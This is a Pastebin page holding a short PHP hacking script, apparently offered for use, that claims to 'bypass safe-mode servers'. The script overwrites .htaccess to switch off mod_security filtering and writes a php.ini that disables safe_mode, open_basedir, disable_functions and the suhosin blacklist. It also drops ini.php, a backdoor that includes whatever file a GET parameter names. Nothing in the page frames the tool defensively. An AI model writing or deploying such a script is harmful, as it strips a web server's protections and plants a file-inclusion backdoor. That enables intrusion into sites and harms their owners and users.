Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #################################################
- # Bypass Safe-Mode Servers
- #nothing To Do Just Run The Code
- # CODED BY H4T3D
- #Changing Name Wont Make You l33t -_-
- #################################################
- error_reporting(0);
- $filename =".htaccess";
- $filename1 ="php.ini";
- $filename2 ="ini.php";
- if (file_exists($filename)) {
- echo "Previous $filename has been deleted !!<br></br>";
- unlink('$filename');
- }
- if(file_exists($filename1))
- {
- unlink('$filename1');
- echo "Previous $filename1 has been deleted !!<br></br>";
- }
- if(file_exists($filename2))
- {
- unlink('$filename2');
- echo "Previous $filename2 has been deleted !!<br></br>";
- }
- $myfile = fopen(".htaccess", "w") or die("Unable to open file!");
- $txt = "<IfModule mod_security.c>\n SecFilterEngine Off\n SecFilterScanPOST Off\n SecFilterCheckURLEncoding Off\n SecFilterCheckCookieFormat Off\n SecFilterCheckUnicodeEncoding Off\n SecFilterNormalizeCookies Off\n </IfModule>\n <Limit GET POST>\n order deny,allow\n deny from all\n allow from all\n </Limit>\n <Limit PUT DELETE>\n order deny,allow\n deny from all\n</Limit>";
- fwrite($myfile, $txt);
- fclose($myfile);
- $myfile = fopen("php.ini", "w") or die("Unable to open file!");
- $txt = "Safe_mode = OFF \nSafe_mode_gid = OFF\n Disable_Functions = NONE Open_basedir = OFF \nsuhosin.executor.func.blacklist = NONE\n";
- fwrite($myfile, $txt);
- fclose($myfile);
- $myfile = fopen("ini.php", "w") or die("Unable to open file!");
- $txt = '<?php error_reporting(0); echo ini_get("safe_mode"); echo ini_get("open_basedir"); include($_GET["file"]); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); ?>';
- fwrite($myfile, $txt);
- fclose($myfile);
- die("<h4>Bypassed Safemode Successfully ! <a href='ini.php'>Click Here</a><h4>");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement